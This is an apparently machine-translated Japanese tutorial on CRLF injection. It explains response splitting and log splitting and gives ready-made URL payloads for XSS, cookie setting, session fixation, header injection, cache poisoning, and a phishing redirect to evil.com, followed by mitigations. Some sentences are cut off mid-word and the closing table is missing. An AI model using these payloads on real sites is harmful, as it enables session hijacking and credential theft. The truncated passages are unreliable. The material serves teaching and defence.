CRLFは、キャリッジリターン（\r）改行（\n）を参照するために使用される頭字語です。 括弧内の記号からわかるように、”キャリッジリターン”は行の終わりを指し、”改行”は新しい行を指します。 したがって、CRとLFの両方が線の終点を示すために使用されます。 ユーザーがwebサイトのコンテンツを要求すると、サーバーはHTTPヘッダーとともにwebサイトのコンテンツを返します。 ヘッダーと内容は、CRとLFの定義された組み合わせによって分離されます。 サーバーが新しいヘッダーの開始位置または終了位置を知っているのは、CRLFのためです。 キャリッジリターン改行(CRLF)注入の脆弱性は、攻撃者が入力フィールドにCRLF文字を挿入して、オブジェクトが終了し、新しいオブジェクトが開始されたと これは、WEBアプリケーションがCRLF文字のユーザー入力をサニタイズしない場合に発生します。 それは中程度の重大度の評価を持っています（BugcrowdのVRTによるとP3）。

CRLFインジェクション攻撃には2つの最も重要なユースケースがあります。

• ログ分割: 攻撃者は、他の攻撃を隠してシステム管理者を欺くために、行末文字と追加の行を挿入してログファイルエントリを改ざんします。
• HTTP応答の分割:CRLFインジェクションは、HTTP応答にHTTPヘッダーを追加し、たとえば、情報開示につながるXSS攻撃を実行するために使用されます。

例:

単純なGETリクエストは次のように作成できます。

GET /%0d%0aSet-Cookie:CRLFInjection=PreritPathak HTTP/1.1

注:%0dと%0aはそれぞれ\rと\nのエンコード形式です。 Webアプリケーションが脆弱である場合、攻撃者はwebサイトにcookieを設定することができます。

CRLFインジェクションの影響

CRLFインジェクションは、攻撃者が偽のcookieを設定し、CSRFトークンを盗み、スクリプト（XSS）を注入することにより、ユーザー情報を開示し、他の様々な攻撃を実行することを可能にする。 また、攻撃者は&XSSフィルタ&同じオリジンポリシー（SOP）のようなセキュリティ対策をバイパスし、次の攻撃を受けやすくすることができます。

1。 XSSまたはCross Site Scripting
XSSまたはCross Site Scriptingは、攻撃者が悪意のあるJavaScriptコードをwebアプリケーションに挿入することを可能にするセキュリティ脆弱性です。 次のGET要求は、xssを使用した試みチェーンCRLFインジェクションで細工されています。
ユーザーの機密情報を含むアラートをポップすることにより

www.target.com/%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E

XSS保護を無効にすることにより

www.target.com/%0d%0aContent-Length:35%0d%0aX-XSS-Protection:0%0d%0a%0d%0a23

2。 Cookieインジェクション
HTTP応答分割により、攻撃者は被害者のブラウザに悪意のあるcookieを設定することができます。 ほとんどの場合、次のGET要求は307リダイレクトになり、被害者は次のようにリダイレクトされますtarget.com &URLにはSet-Cookieパラメータは含まれません。 ただし、バックグラウンドでは、cookieが設定されます。

www.target.com/%0d%0aSet-Cookie:CRLFInjection=MaliciousCookieSet

3. フィッシング攻撃
攻撃者は、被害者を邪悪なウェブサイトにリダイレクトするLocationヘッダーを設定することができます。 このwebサイトは、ターゲットwebサイトと同じように開発することができ、被害者が資格情報を入力すると、攻撃者に送信されます。 Locationヘッダーは次のように設定できます。

GET /%0d%0aLocation:%20https://evil.com HTTP/1.1

4。 セッション固定
Cookieインジェクション攻撃と同様に、攻撃者はユーザーのセッションidを特定の値に設定します。 このリンクは被害者に送信され、被害者がこのセッションを使用してログインすると、攻撃者は同じセッションidを使用してログインすることもで

www.target.com/%0d%0aSet-Cookie:session_id=942....

5. HTTP Header Injection
攻撃者は、XSSフィルタやsame-origin-policyなどのセキュリティメカニズムを無効にするために、CRLFインジェクションを利用してアプリケーションにHTTPヘッ

www.target.com/%0d%0aHackersHeader:NewHeader

CORS(Cross Origin Resource Sharing)アクティブ化ヘッダーを注入することができます&攻撃者はJavaScriptを使用して、SOP(Same Origin Policy)によって保護されている機密リソー
6. Web Cache poisoning
Web-cache poisoningは、攻撃者がwebキャッシュを操作することによって毒入りコンテンツを提供することができる技術です。 この問題を悪用するには、攻撃者が脆弱なwebサイトのキャッシュプロキシ、シンジケーター、コンテンツ配信ネットワーク(Cdn)、またはクライアントとサーバーの間の他のキャッシュメカニズムを攻撃する必要があります。 Webキャッシュポイズニングが成功した後、被害者はキャッシュによって悪意のあるコンテンツが提供されていることを認識しません。 以下は、攻撃者がwebキャッシュをポイズニングすることによって(CRLFを使用して)ホストヘッダインジェクションを悪用する可能性の例です。

次の要求の場合: p>

$ telnet www.target.com 80Trying x.x.x.x...Connected to www.target.com.Escape character is '^]'.GET /%0d%0aX-Forwarded-Host:hacker.com HTTP/1.1 //or HostHost: target.com

次の応答があります:

HTTP/1.1 200 OK

その他のユースケース：

1。 偽のHTTP応答ヘッダーを挿入する：

Content-Length: 10

これで、webブラウザは次の10バイトのみを解析します。
2. 偽のHTTP応答ヘッダーを挿入します。

Content-Length: 0

これは終了した応答として扱われます&webブラウザは新しい応答の解析を開始し

緩和策：

開発者は、CRLF注入を防ぐために、次のことを念頭に置いておく必要があります。

• ユーザー入力のサニタイズ。CR&LF文字（\r、\n）をエンコードして、それらが指定されていてもサーバーによって認識されないようにします。
• 応答ヘッダーに到達する前に、ユーザー入力を検証します（たとえば、StringEscapeUtilsなどのメソッドを使用します。エスケープジャヴァ（））。
• 不要なヘッダーは無効にする必要があります。
  次の表は、様々な業界標準に応じてCRLF注射の重症度を強調しています: